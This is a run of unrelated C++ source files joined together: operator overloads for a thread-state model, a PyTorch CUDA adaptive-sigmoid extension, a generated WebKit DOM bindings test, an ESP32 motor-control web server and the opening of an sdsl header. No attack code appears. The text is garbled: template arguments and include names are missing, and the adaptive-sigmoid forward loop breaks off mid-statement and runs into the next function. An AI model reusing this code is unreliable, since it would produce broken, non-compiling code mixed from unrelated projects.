!= this->locals.end(); ++iloc) { out << "(" << iloc->first << "," << iloc->second << ")"; } out << ">"; return out; } /** * @brief overloading operator << * @param out * @param g * @return */ inline ostream& operator<<(ostream& out, const global_state& g) { return g.to_stream(out); } /** * @brief overloading operator < * @param s1 * @param s2 * @return bool * true : if s1 < s2 * false: otherwise */ inline bool operator<(const global_state& s1, const global_state& s2) { if (s1.get_share() == s2.get_share()) { return COMPARE::compare_map(s1.get_locals(), s2.get_locals()) == -1; } else { return s1.get_share() < s2.get_share(); } } /** * @brief overloading operator > * @param s1 * @param s2 * @return bool * true : if s1 > s2 * false: otherwise */ inline bool operator>(const global_state& s1, const global_state& s2) { return s2 < s1; } /** * @brief overloading operator == * @param s1 * @param s2 * @return bool * true : if s1 == s2 * false: otherwise */ inline bool operator==(const global_state& s1, const global_state& s2) { if (s1.get_share() == s2.get_share()) { if (s1.get_locals().size() == s2.get_locals().size()) { auto is1 = s1.get_locals().begin(), is2 = s2.get_locals().begin(); while (is1 != s1.get_locals().end()) { if ((is1->first != is2->first) || (is1->second != is2->second)) return false; ++is1, ++is2; } return true; } } return false; } /** * @brief overloading operator != * @param s1 * @param s2 * @return bool * true : if s1 != s2 * false: otherwise */ inline bool operator!=(const global_state& s1, const global_state& s2) { return !(s1 == s2); } using vertex = id_thread_state; enum class type_trans { NORM, SPAW, BRCT }; class transition { public: inline transition(const transition& t); inline transition(const vertex& src, const vertex& dst); inline transition(const vertex& src, const vertex& dst, const type_trans& type); ~transition() { } ostream& to_stream(ostream& out = cout) const; inline vertex get_src() const { return src; } inline vertex get_dst() const { return dst; } inline type_trans get_type() const { return type; } private: vertex src; /// source of transition vertex dst; /// destination of transition type_trans type; }; inline transition::transition(const transition& t) : src(t.src), dst(t.dst), type(t.type) { } inline transition::transition(const vertex& src, const vertex& dst) : src(src), dst(dst), type(type_trans::NORM) { } inline transition::transition(const vertex& src, const vertex& dst, const type_trans& type) : src(src), dst(dst), type(type) { } inline ostream& transition::to_stream(ostream& out) const { out << src << " "; switch (type) { case type_trans::BRCT: out << "~>"; break; case type_trans::SPAW: out << "+>"; break; default: out << "->"; break; } out << " " << dst; return out; } /** * @brief overloading operator <<: print transition * @param out * @param ts * @return ostream */ inline ostream& operator<<(ostream& out, const transition& r) { return r.to_stream(out); } /** * @brief overloading operator == * @param r1 * @param r2 * @return bool * true : if r1 == r2 * false: otherwise */ inline bool operator==(const transition& r1, const transition& r2) { return r1.get_src() == r2.get_src() && r1.get_dst() == r2.get_dst(); } /** * @brief overloading operator != * @param r1 * @param r2 * @return bool * true : if r1 != r2 * false: otherwise */ inline bool operator!=(const transition& r1, const transition& r2) { return !(r1 == r2); } /** * @brief overloading operator < * @param r1 * @param r2 * @return bool * true : if r1 < r2 * false: otherwise */ inline bool operator<(const transition& r1, const transition& r2) { if (r1.get_src() == r2.get_src()) return r1.get_dst() < r2.get_dst(); return r1.get_src() < r2.get_src(); } /** * @brief overloading operator > * @param r1 * @param r2 * @return bool * true : if r1 > r2 * false: otherwise */ inline bool operator>(const transition& r1, const transition& r2) { if (r1.get_src() == r2.get_src()) return r1.get_dst() > r2.get_dst(); return r1.get_src() > r2.get_src(); } using adj_list = vector>; } /* namespace BSSP */ #endif /* STATE_HH_ */ PytorchCudaOpExtension/adaptive_sigmoid/adaptive_sigmoid.cpp #include #include "adaptive_sigmoid.h" at::Tensor adaptive_sigmoid_forward( at::Tensor input, at::Tensor params ){ int batch = input.size(0); int channels = input.size(1); int height = input.size(2); int width = input.size(3); auto output = at::empty({batch, channels, height, width}, input.options()); auto input_ptr = input.data(); auto output_ptr = output.data(); auto params_ptr = params.data(); for(int i = 0; i adaptive_sigmoid_backward( at::Tensor input, at::Tensor params, at::Tensor grad_outputs, bool alpha_update, bool beta_update, bool gamma_update, bool theta_update ){ int batch = input.size(0); int channels = input.size(1); int height = input.size(2); int width = input.size(3); auto grad_input = at::zeros_like(input); auto grad_params = at::zeros_like(params); auto input_ptr = input.data(); auto grad_output_ptr = grad_outputs.data(); auto params_ptr = params.data(); auto grad_input_ptr = grad_input.data(); auto grad_params_ptr = grad_params.data(); for(int i = 0; i < batch; i++){ auto input_instance_ptr = input_ptr + i * channels * height * width; auto grad_output_instance_ptr = grad_output_ptr + i * channels * height * width; auto grad_input_instance_ptr = grad_input_ptr + i * channels * height * width; adaptive_sigmoid_input_grad( THCState_getCurrentStream(state), input_instance_ptr, grad_output_instance_ptr, params_ptr, grad_input_instance_ptr, channels, height, width ); adaptive_sigmoid_params_grad( THCState_getCurrentStream(state), input_instance_ptr, grad_output_instance_ptr, params_ptr, grad_params_ptr, channels, height, width, alpha_update, beta_update, gamma_update, theta_update ); } return {grad_input, grad_params}; } PYBIND11_MODULE(TORCH_EXTENSION_NAME, m){ m.def("forward", &adaptive_sigmoid_forward, "adaptive sigmoid forward (CUDA)"); m.def("backward", &adaptive_sigmoid_backward, "adaptive sigmoid backward (CUDA)"); }Source/WebCore/bindings/scripts/test/JS/JSTestNamedAndIndexedSetterWithIdentifier.cpp /* This file is part of the WebKit open source project. This file has been generated by generate-bindings.pl. DO NOT MODIFY! This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include "config.h" #include "JSTestNamedAndIndexedSetterWithIdentifier.h" #include "ActiveDOMObject.h" #include "DOMIsoSubspaces.h" #include "JSDOMAbstractOperations.h" #include "JSDOMBinding.h" #include "JSDOMConstructorNotConstructable.h" #include "JSDOMConvertNumbers.h" #include "JSDOMConvertStrings.h" #include "JSDOMExceptionHandling.h" #include "JSDOMOperation.h" #include "JSDOMWrapperCache.h" #include "ScriptExecutionContext.h" #include "WebCoreJSClientData.h" #include #include #include #include #include #include #include #include #include namespace WebCore { using namespace JSC; // Functions JSC::EncodedJSValue JSC_HOST_CALL jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionNamedSetter(JSC::JSGlobalObject*, JSC::CallFrame*); JSC::EncodedJSValue JSC_HOST_CALL jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionIndexedSetter(JSC::JSGlobalObject*, JSC::CallFrame*); // Attributes JSC::EncodedJSValue jsTestNamedAndIndexedSetterWithIdentifierConstructor(JSC::JSGlobalObject*, JSC::EncodedJSValue, JSC::PropertyName); bool setJSTestNamedAndIndexedSetterWithIdentifierConstructor(JSC::JSGlobalObject*, JSC::EncodedJSValue, JSC::EncodedJSValue); class JSTestNamedAndIndexedSetterWithIdentifierPrototype final : public JSC::JSNonFinalObject { public: using Base = JSC::JSNonFinalObject; static JSTestNamedAndIndexedSetterWithIdentifierPrototype* create(JSC::VM& vm, JSDOMGlobalObject* globalObject, JSC::Structure* structure) { JSTestNamedAndIndexedSetterWithIdentifierPrototype* ptr = new (NotNull, JSC::allocateCell(vm.heap)) JSTestNamedAndIndexedSetterWithIdentifierPrototype(vm, globalObject, structure); ptr->finishCreation(vm); return ptr; } DECLARE_INFO; template static JSC::IsoSubspace* subspaceFor(JSC::VM& vm) { STATIC_ASSERT_ISO_SUBSPACE_SHARABLE(JSTestNamedAndIndexedSetterWithIdentifierPrototype, Base); return &vm.plainObjectSpace; } static JSC::Structure* createStructure(JSC::VM& vm, JSC::JSGlobalObject* globalObject, JSC::JSValue prototype) { return JSC::Structure::create(vm, globalObject, prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), info()); } private: JSTestNamedAndIndexedSetterWithIdentifierPrototype(JSC::VM& vm, JSC::JSGlobalObject*, JSC::Structure* structure) : JSC::JSNonFinalObject(vm, structure) { } void finishCreation(JSC::VM&); }; STATIC_ASSERT_ISO_SUBSPACE_SHARABLE(JSTestNamedAndIndexedSetterWithIdentifierPrototype, JSTestNamedAndIndexedSetterWithIdentifierPrototype::Base); using JSTestNamedAndIndexedSetterWithIdentifierConstructor = JSDOMConstructorNotConstructable; template<> JSValue JSTestNamedAndIndexedSetterWithIdentifierConstructor::prototypeForStructure(JSC::VM& vm, const JSDOMGlobalObject& globalObject) { UNUSED_PARAM(vm); return globalObject.functionPrototype(); } template<> void JSTestNamedAndIndexedSetterWithIdentifierConstructor::initializeProperties(VM& vm, JSDOMGlobalObject& globalObject) { putDirect(vm, vm.propertyNames->prototype, JSTestNamedAndIndexedSetterWithIdentifier::prototype(vm, globalObject), JSC::PropertyAttribute::DontDelete | JSC::PropertyAttribute::ReadOnly | JSC::PropertyAttribute::DontEnum); putDirect(vm, vm.propertyNames->name, jsNontrivialString(vm, "TestNamedAndIndexedSetterWithIdentifier"_s), JSC::PropertyAttribute::ReadOnly | JSC::PropertyAttribute::DontEnum); putDirect(vm, vm.propertyNames->length, jsNumber(0), JSC::PropertyAttribute::ReadOnly | JSC::PropertyAttribute::DontEnum); } template<> const ClassInfo JSTestNamedAndIndexedSetterWithIdentifierConstructor::s_info = { "TestNamedAndIndexedSetterWithIdentifier", &Base::s_info, nullptr, nullptr, CREATE_METHOD_TABLE(JSTestNamedAndIndexedSetterWithIdentifierConstructor) }; /* Hash table for prototype */ static const HashTableValue JSTestNamedAndIndexedSetterWithIdentifierPrototypeTableValues[] = { { "constructor", static_cast(JSC::PropertyAttribute::DontEnum), NoIntrinsic, { (intptr_t)static_cast(jsTestNamedAndIndexedSetterWithIdentifierConstructor), (intptr_t) static_cast(setJSTestNamedAndIndexedSetterWithIdentifierConstructor) } }, { "namedSetter", static_cast(JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast(jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionNamedSetter), (intptr_t) (2) } }, { "indexedSetter", static_cast(JSC::PropertyAttribute::Function), NoIntrinsic, { (intptr_t)static_cast(jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionIndexedSetter), (intptr_t) (2) } }, }; const ClassInfo JSTestNamedAndIndexedSetterWithIdentifierPrototype::s_info = { "TestNamedAndIndexedSetterWithIdentifier", &Base::s_info, nullptr, nullptr, CREATE_METHOD_TABLE(JSTestNamedAndIndexedSetterWithIdentifierPrototype) }; void JSTestNamedAndIndexedSetterWithIdentifierPrototype::finishCreation(VM& vm) { Base::finishCreation(vm); reifyStaticProperties(vm, JSTestNamedAndIndexedSetterWithIdentifier::info(), JSTestNamedAndIndexedSetterWithIdentifierPrototypeTableValues, *this); JSC_TO_STRING_TAG_WITHOUT_TRANSITION(); } const ClassInfo JSTestNamedAndIndexedSetterWithIdentifier::s_info = { "TestNamedAndIndexedSetterWithIdentifier", &Base::s_info, nullptr, nullptr, CREATE_METHOD_TABLE(JSTestNamedAndIndexedSetterWithIdentifier) }; JSTestNamedAndIndexedSetterWithIdentifier::JSTestNamedAndIndexedSetterWithIdentifier(Structure* structure, JSDOMGlobalObject& globalObject, Ref&& impl) : JSDOMWrapper(structure, globalObject, WTFMove(impl)) { } void JSTestNamedAndIndexedSetterWithIdentifier::finishCreation(VM& vm) { Base::finishCreation(vm); ASSERT(inherits(vm, info())); static_assert(!std::is_base_of::value, "Interface is not marked as [ActiveDOMObject] even though implementation class subclasses ActiveDOMObject."); } JSObject* JSTestNamedAndIndexedSetterWithIdentifier::createPrototype(VM& vm, JSDOMGlobalObject& globalObject) { return JSTestNamedAndIndexedSetterWithIdentifierPrototype::create(vm, &globalObject, JSTestNamedAndIndexedSetterWithIdentifierPrototype::createStructure(vm, &globalObject, globalObject.objectPrototype())); } JSObject* JSTestNamedAndIndexedSetterWithIdentifier::prototype(VM& vm, JSDOMGlobalObject& globalObject) { return getDOMPrototype(vm, globalObject); } JSValue JSTestNamedAndIndexedSetterWithIdentifier::getConstructor(VM& vm, const JSGlobalObject* globalObject) { return getDOMConstructor(vm, *jsCast(globalObject)); } void JSTestNamedAndIndexedSetterWithIdentifier::destroy(JSC::JSCell* cell) { JSTestNamedAndIndexedSetterWithIdentifier* thisObject = static_cast(cell); thisObject->JSTestNamedAndIndexedSetterWithIdentifier::~JSTestNamedAndIndexedSetterWithIdentifier(); } bool JSTestNamedAndIndexedSetterWithIdentifier::getOwnPropertySlot(JSObject* object, JSGlobalObject* lexicalGlobalObject, PropertyName propertyName, PropertySlot& slot) { auto* thisObject = jsCast(object); ASSERT_GC_OBJECT_INHERITS(thisObject, info()); if (auto index = parseIndex(propertyName)) { if (index.value() < thisObject->wrapped().length()) { auto value = toJS(*lexicalGlobalObject, thisObject->wrapped().item(index.value())); slot.setValue(thisObject, static_cast(0), value); return true; } return JSObject::getOwnPropertySlot(object, lexicalGlobalObject, propertyName, slot); } using GetterIDLType = IDLDOMString; auto getterFunctor = [] (auto& thisObject, auto propertyName) -> Optional { auto result = thisObject.wrapped().namedItem(propertyNameToAtomString(propertyName)); if (!GetterIDLType::isNullValue(result)) return typename GetterIDLType::ImplementationType { GetterIDLType::extractValueFromNullable(result) }; return WTF::nullopt; }; if (auto namedProperty = accessVisibleNamedProperty(*lexicalGlobalObject, *thisObject, propertyName, getterFunctor)) { auto value = toJS(*lexicalGlobalObject, WTFMove(namedProperty.value())); slot.setValue(thisObject, static_cast(0), value); return true; } return JSObject::getOwnPropertySlot(object, lexicalGlobalObject, propertyName, slot); } bool JSTestNamedAndIndexedSetterWithIdentifier::getOwnPropertySlotByIndex(JSObject* object, JSGlobalObject* lexicalGlobalObject, unsigned index, PropertySlot& slot) { VM& vm = JSC::getVM(lexicalGlobalObject); auto* thisObject = jsCast(object); ASSERT_GC_OBJECT_INHERITS(thisObject, info()); if (LIKELY(index <= MAX_ARRAY_INDEX)) { if (index < thisObject->wrapped().length()) { auto value = toJS(*lexicalGlobalObject, thisObject->wrapped().item(index)); slot.setValue(thisObject, static_cast(0), value); return true; } return JSObject::getOwnPropertySlotByIndex(object, lexicalGlobalObject, index, slot); } auto propertyName = Identifier::from(vm, index); using GetterIDLType = IDLDOMString; auto getterFunctor = [] (auto& thisObject, auto propertyName) -> Optional { auto result = thisObject.wrapped().namedItem(propertyNameToAtomString(propertyName)); if (!GetterIDLType::isNullValue(result)) return typename GetterIDLType::ImplementationType { GetterIDLType::extractValueFromNullable(result) }; return WTF::nullopt; }; if (auto namedProperty = accessVisibleNamedProperty(*lexicalGlobalObject, *thisObject, propertyName, getterFunctor)) { auto value = toJS(*lexicalGlobalObject, WTFMove(namedProperty.value())); slot.setValue(thisObject, static_cast(0), value); return true; } return JSObject::getOwnPropertySlotByIndex(object, lexicalGlobalObject, index, slot); } void JSTestNamedAndIndexedSetterWithIdentifier::getOwnPropertyNames(JSObject* object, JSGlobalObject* lexicalGlobalObject, PropertyNameArray& propertyNames, EnumerationMode mode) { VM& vm = JSC::getVM(lexicalGlobalObject); auto* thisObject = jsCast(object); ASSERT_GC_OBJECT_INHERITS(object, info()); for (unsigned i = 0, count = thisObject->wrapped().length(); i < count; ++i) propertyNames.add(Identifier::from(vm, i)); for (auto& propertyName : thisObject->wrapped().supportedPropertyNames()) propertyNames.add(Identifier::fromString(vm, propertyName)); JSObject::getOwnPropertyNames(object, lexicalGlobalObject, propertyNames, mode); } bool JSTestNamedAndIndexedSetterWithIdentifier::put(JSCell* cell, JSGlobalObject* lexicalGlobalObject, PropertyName propertyName, JSValue value, PutPropertySlot& putPropertySlot) { auto* thisObject = jsCast(cell); ASSERT_GC_OBJECT_INHERITS(thisObject, info()); if (auto index = parseIndex(propertyName)) { auto throwScope = DECLARE_THROW_SCOPE(JSC::getVM(lexicalGlobalObject)); auto nativeValue = convert(*lexicalGlobalObject, value); RETURN_IF_EXCEPTION(throwScope, true); thisObject->wrapped().indexedSetter(index.value(), WTFMove(nativeValue)); return true; } if (!propertyName.isSymbol()) { PropertySlot slot { thisObject, PropertySlot::InternalMethodType::VMInquiry, &lexicalGlobalObject->vm() }; JSValue prototype = thisObject->getPrototypeDirect(JSC::getVM(lexicalGlobalObject)); bool found = prototype.isObject() && asObject(prototype)->getPropertySlot(lexicalGlobalObject, propertyName, slot); slot.disallowVMEntry.reset(); if (!found) { auto throwScope = DECLARE_THROW_SCOPE(JSC::getVM(lexicalGlobalObject)); auto nativeValue = convert(*lexicalGlobalObject, value); RETURN_IF_EXCEPTION(throwScope, true); thisObject->wrapped().namedSetter(propertyNameToString(propertyName), WTFMove(nativeValue)); return true; } } return JSObject::put(thisObject, lexicalGlobalObject, propertyName, value, putPropertySlot); } bool JSTestNamedAndIndexedSetterWithIdentifier::putByIndex(JSCell* cell, JSGlobalObject* lexicalGlobalObject, unsigned index, JSValue value, bool shouldThrow) { VM& vm = JSC::getVM(lexicalGlobalObject); auto* thisObject = jsCast(cell); ASSERT_GC_OBJECT_INHERITS(thisObject, info()); if (LIKELY(index <= MAX_ARRAY_INDEX)) { auto throwScope = DECLARE_THROW_SCOPE(JSC::getVM(lexicalGlobalObject)); auto nativeValue = convert(*lexicalGlobalObject, value); RETURN_IF_EXCEPTION(throwScope, true); thisObject->wrapped().indexedSetter(index, WTFMove(nativeValue)); return true; } auto propertyName = Identifier::from(vm, index); PropertySlot slot { thisObject, PropertySlot::InternalMethodType::VMInquiry, &vm }; JSValue prototype = thisObject->getPrototypeDirect(vm); bool found = prototype.isObject() && asObject(prototype)->getPropertySlot(lexicalGlobalObject, propertyName, slot); slot.disallowVMEntry.reset(); if (!found) { auto throwScope = DECLARE_THROW_SCOPE(JSC::getVM(lexicalGlobalObject)); auto nativeValue = convert(*lexicalGlobalObject, value); RETURN_IF_EXCEPTION(throwScope, true); thisObject->wrapped().namedSetter(propertyNameToString(propertyName), WTFMove(nativeValue)); return true; } return JSObject::putByIndex(cell, lexicalGlobalObject, index, value, shouldThrow); } bool JSTestNamedAndIndexedSetterWithIdentifier::defineOwnProperty(JSObject* object, JSGlobalObject* lexicalGlobalObject, PropertyName propertyName, const PropertyDescriptor& propertyDescriptor, bool shouldThrow) { auto* thisObject = jsCast(object); ASSERT_GC_OBJECT_INHERITS(thisObject, info()); if (auto index = parseIndex(propertyName)) { if (!propertyDescriptor.isDataDescriptor()) return false; auto throwScope = DECLARE_THROW_SCOPE(JSC::getVM(lexicalGlobalObject)); auto nativeValue = convert(*lexicalGlobalObject, propertyDescriptor.value()); RETURN_IF_EXCEPTION(throwScope, true); thisObject->wrapped().indexedSetter(index.value(), WTFMove(nativeValue)); return true; } if (!propertyName.isSymbol()) { PropertySlot slot { thisObject, PropertySlot::InternalMethodType::VMInquiry, &lexicalGlobalObject->vm() }; bool found = JSObject::getOwnPropertySlot(thisObject, lexicalGlobalObject, propertyName, slot); slot.disallowVMEntry.reset(); if (!found) { if (!propertyDescriptor.isDataDescriptor()) return false; auto throwScope = DECLARE_THROW_SCOPE(JSC::getVM(lexicalGlobalObject)); auto nativeValue = convert(*lexicalGlobalObject, propertyDescriptor.value()); RETURN_IF_EXCEPTION(throwScope, true); thisObject->wrapped().namedSetter(propertyNameToString(propertyName), WTFMove(nativeValue)); return true; } } PropertyDescriptor newPropertyDescriptor = propertyDescriptor; newPropertyDescriptor.setConfigurable(true); return JSObject::defineOwnProperty(object, lexicalGlobalObject, propertyName, newPropertyDescriptor, shouldThrow); } template<> inline JSTestNamedAndIndexedSetterWithIdentifier* IDLOperation::cast(JSGlobalObject& lexicalGlobalObject, CallFrame& callFrame) { return jsDynamicCast(JSC::getVM(&lexicalGlobalObject), callFrame.thisValue()); } EncodedJSValue jsTestNamedAndIndexedSetterWithIdentifierConstructor(JSGlobalObject* lexicalGlobalObject, EncodedJSValue thisValue, PropertyName) { VM& vm = JSC::getVM(lexicalGlobalObject); auto throwScope = DECLARE_THROW_SCOPE(vm); auto* prototype = jsDynamicCast(vm, JSValue::decode(thisValue)); if (UNLIKELY(!prototype)) return throwVMTypeError(lexicalGlobalObject, throwScope); return JSValue::encode(JSTestNamedAndIndexedSetterWithIdentifier::getConstructor(JSC::getVM(lexicalGlobalObject), prototype->globalObject())); } bool setJSTestNamedAndIndexedSetterWithIdentifierConstructor(JSGlobalObject* lexicalGlobalObject, EncodedJSValue thisValue, EncodedJSValue encodedValue) { VM& vm = JSC::getVM(lexicalGlobalObject); auto throwScope = DECLARE_THROW_SCOPE(vm); auto* prototype = jsDynamicCast(vm, JSValue::decode(thisValue)); if (UNLIKELY(!prototype)) { throwVMTypeError(lexicalGlobalObject, throwScope); return false; } // Shadowing a built-in constructor return prototype->putDirect(vm, vm.propertyNames->constructor, JSValue::decode(encodedValue)); } static inline JSC::EncodedJSValue jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionNamedSetterBody(JSC::JSGlobalObject* lexicalGlobalObject, JSC::CallFrame* callFrame, typename IDLOperation::ClassParameter castedThis) { auto& vm = JSC::getVM(lexicalGlobalObject); auto throwScope = DECLARE_THROW_SCOPE(vm); UNUSED_PARAM(throwScope); UNUSED_PARAM(callFrame); auto& impl = castedThis->wrapped(); if (UNLIKELY(callFrame->argumentCount() < 2)) return throwVMError(lexicalGlobalObject, throwScope, createNotEnoughArgumentsError(lexicalGlobalObject)); EnsureStillAliveScope argument0 = callFrame->uncheckedArgument(0); auto name = convert(*lexicalGlobalObject, argument0.value()); RETURN_IF_EXCEPTION(throwScope, encodedJSValue()); EnsureStillAliveScope argument1 = callFrame->uncheckedArgument(1); auto value = convert(*lexicalGlobalObject, argument1.value()); RETURN_IF_EXCEPTION(throwScope, encodedJSValue()); throwScope.release(); impl.namedSetter(WTFMove(name), WTFMove(value)); return JSValue::encode(jsUndefined()); } EncodedJSValue JSC_HOST_CALL jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionNamedSetter(JSGlobalObject* lexicalGlobalObject, CallFrame* callFrame) { return IDLOperation::call(*lexicalGlobalObject, *callFrame, "namedSetter"); } static inline JSC::EncodedJSValue jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionIndexedSetterBody(JSC::JSGlobalObject* lexicalGlobalObject, JSC::CallFrame* callFrame, typename IDLOperation::ClassParameter castedThis) { auto& vm = JSC::getVM(lexicalGlobalObject); auto throwScope = DECLARE_THROW_SCOPE(vm); UNUSED_PARAM(throwScope); UNUSED_PARAM(callFrame); auto& impl = castedThis->wrapped(); if (UNLIKELY(callFrame->argumentCount() < 2)) return throwVMError(lexicalGlobalObject, throwScope, createNotEnoughArgumentsError(lexicalGlobalObject)); EnsureStillAliveScope argument0 = callFrame->uncheckedArgument(0); auto index = convert(*lexicalGlobalObject, argument0.value()); RETURN_IF_EXCEPTION(throwScope, encodedJSValue()); EnsureStillAliveScope argument1 = callFrame->uncheckedArgument(1); auto value = convert(*lexicalGlobalObject, argument1.value()); RETURN_IF_EXCEPTION(throwScope, encodedJSValue()); throwScope.release(); impl.indexedSetter(WTFMove(index), WTFMove(value)); return JSValue::encode(jsUndefined()); } EncodedJSValue JSC_HOST_CALL jsTestNamedAndIndexedSetterWithIdentifierPrototypeFunctionIndexedSetter(JSGlobalObject* lexicalGlobalObject, CallFrame* callFrame) { return IDLOperation::call(*lexicalGlobalObject, *callFrame, "indexedSetter"); } JSC::IsoSubspace* JSTestNamedAndIndexedSetterWithIdentifier::subspaceForImpl(JSC::VM& vm) { auto& clientData = *static_cast(vm.clientData); auto& spaces = clientData.subspaces(); if (auto* space = spaces.m_subspaceForTestNamedAndIndexedSetterWithIdentifier.get()) return space; static_assert(std::is_base_of_v || !JSTestNamedAndIndexedSetterWithIdentifier::needsDestruction); if constexpr (std::is_base_of_v) spaces.m_subspaceForTestNamedAndIndexedSetterWithIdentifier = makeUnique ISO_SUBSPACE_INIT(vm.heap, vm.destructibleObjectHeapCellType.get(), JSTestNamedAndIndexedSetterWithIdentifier); else spaces.m_subspaceForTestNamedAndIndexedSetterWithIdentifier = makeUnique ISO_SUBSPACE_INIT(vm.heap, vm.cellHeapCellType.get(), JSTestNamedAndIndexedSetterWithIdentifier); auto* space = spaces.m_subspaceForTestNamedAndIndexedSetterWithIdentifier.get(); IGNORE_WARNINGS_BEGIN("unreachable-code") IGNORE_WARNINGS_BEGIN("tautological-compare") if (&JSTestNamedAndIndexedSetterWithIdentifier::visitOutputConstraints != &JSC::JSCell::visitOutputConstraints) clientData.outputConstraintSpaces().append(space); IGNORE_WARNINGS_END IGNORE_WARNINGS_END return space; } void JSTestNamedAndIndexedSetterWithIdentifier::analyzeHeap(JSCell* cell, HeapAnalyzer& analyzer) { auto* thisObject = jsCast(cell); analyzer.setWrappedObjectForCell(cell, &thisObject->wrapped()); if (thisObject->scriptExecutionContext()) analyzer.setLabelForCell(cell, "url " + thisObject->scriptExecutionContext()->url().string()); Base::analyzeHeap(cell, analyzer); } bool JSTestNamedAndIndexedSetterWithIdentifierOwner::isReachableFromOpaqueRoots(JSC::Handle handle, void*, SlotVisitor& visitor, const char** reason) { UNUSED_PARAM(handle); UNUSED_PARAM(visitor); UNUSED_PARAM(reason); return false; } void JSTestNamedAndIndexedSetterWithIdentifierOwner::finalize(JSC::Handle handle, void* context) { auto* jsTestNamedAndIndexedSetterWithIdentifier = static_cast(handle.slot()->asCell()); auto& world = *static_cast(context); uncacheWrapper(world, &jsTestNamedAndIndexedSetterWithIdentifier->wrapped(), jsTestNamedAndIndexedSetterWithIdentifier); } #if ENABLE(BINDING_INTEGRITY) #if PLATFORM(WIN) #pragma warning(disable: 4483) extern "C" { extern void (*const __identifier("??_7TestNamedAndIndexedSetterWithIdentifier@WebCore@@6B@")[])(); } #else extern "C" { extern void* _ZTVN7WebCore39TestNamedAndIndexedSetterWithIdentifierE[]; } #endif #endif JSC::JSValue toJSNewlyCreated(JSC::JSGlobalObject*, JSDOMGlobalObject* globalObject, Ref&& impl) { #if ENABLE(BINDING_INTEGRITY) const void* actualVTablePointer = getVTablePointer(impl.ptr()); #if PLATFORM(WIN) void* expectedVTablePointer = __identifier("??_7TestNamedAndIndexedSetterWithIdentifier@WebCore@@6B@"); #else void* expectedVTablePointer = &_ZTVN7WebCore39TestNamedAndIndexedSetterWithIdentifierE[2]; #endif // If this fails TestNamedAndIndexedSetterWithIdentifier does not have a vtable, so you need to add the // ImplementationLacksVTable attribute to the interface definition static_assert(std::is_polymorphic::value, "TestNamedAndIndexedSetterWithIdentifier is not polymorphic"); // If you hit this assertion you either have a use after free bug, or // TestNamedAndIndexedSetterWithIdentifier has subclasses. If TestNamedAndIndexedSetterWithIdentifier has subclasses that get passed // to toJS() we currently require TestNamedAndIndexedSetterWithIdentifier you to opt out of binding hardening // by adding the SkipVTableValidation attribute to the interface IDL definition RELEASE_ASSERT(actualVTablePointer == expectedVTablePointer); #endif return createWrapper(globalObject, WTFMove(impl)); } JSC::JSValue toJS(JSC::JSGlobalObject* lexicalGlobalObject, JSDOMGlobalObject* globalObject, TestNamedAndIndexedSetterWithIdentifier& impl) { return wrap(lexicalGlobalObject, globalObject, impl); } TestNamedAndIndexedSetterWithIdentifier* JSTestNamedAndIndexedSetterWithIdentifier::toWrapped(JSC::VM& vm, JSC::JSValue value) { if (auto* wrapper = jsDynamicCast(vm, value)) return &wrapper->wrapped(); return nullptr; } } #include #include #include #include #include #include AsyncWebServer server(80); const char *ssid = "beingHuman"; const char *password = ""; const char *PARAM_MESSAGE = "message"; void notFound(AsyncWebServerRequest *request) { request->send(404, "text/plain", "Not found"); } Motor Motor1; Motor Motor2; void stop() { delay(250); Motor1.lockMotor(); Motor2.lockMotor(); } void moveForward() { Motor1.moveMotor(2.55 * 100); Motor2.moveMotor(2.55 * 100); stop(); } void moveBackward() { Motor1.moveMotor(-2.55 * 100); Motor2.moveMotor(-2.55 * 100); stop(); } void moveRight() { Motor1.moveMotor(2.55 * 100); Motor2.moveMotor(-2.55 * 100); stop(); } void moveLeft() { Motor1.moveMotor(-2.55 * 100); Motor2.moveMotor(2.55 * 100); stop(); } void setup() { Motor1.attach(14, 16, 17); Motor2.attach(15, 18, 19); Serial.begin(9600); WiFi.mode(WIFI_STA); WiFi.begin(ssid, password); Serial.println("Connecting to WiFi..."); if (WiFi.waitForConnectResult() != WL_CONNECTED) { Serial.println("WiFi failed"); return; } Serial.print("IP Address: "); Serial.println(WiFi.localIP()); // Directions server.on("/forward", HTTP_POST, [](AsyncWebServerRequest *request) { moveForward(); request->send(200, "text/plain", "Done!"); }); server.on("/backward", HTTP_POST, [](AsyncWebServerRequest *request) { moveBackward(); request->send(200, "text/plain", "Done!"); }); server.on("/left", HTTP_POST, [](AsyncWebServerRequest *request) { moveLeft(); request->send(200, "text/plain", "Done!"); }); server.on("/right", HTTP_POST, [](AsyncWebServerRequest *request) { moveRight(); request->send(200, "text/plain", "Done!"); }); server.onNotFound(notFound); server.begin(); } void loop() { }/* sdsl - succinct data structures library Copyright (C) 2012 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/ . */ /*! \file csa_sampling_strategy.hpp \brief csa_sampling_strategy.hpp includes different strategy classes for suffix array sampling in the CSAs. \author */ #ifndef INCLUDED_CSA_SAMPLING_STRATEGY #define INCLUDED_CSA_SAMPLING_STRATEGY /* * Text = ABCDEFABCDEF$ * 0123456789012 * sa_sample_dens = 2 * *1 SA *2 * * 12 * $ * 06 * ABCDEF$ * * 00 * ABCDEFABCDEF$ * 07 BCDEF$ * * 01 BCDEFABCDEF$ * 08 * CDEF$ * * 02 * CDEFABCDEF$ * 09 DEF$ * * 03 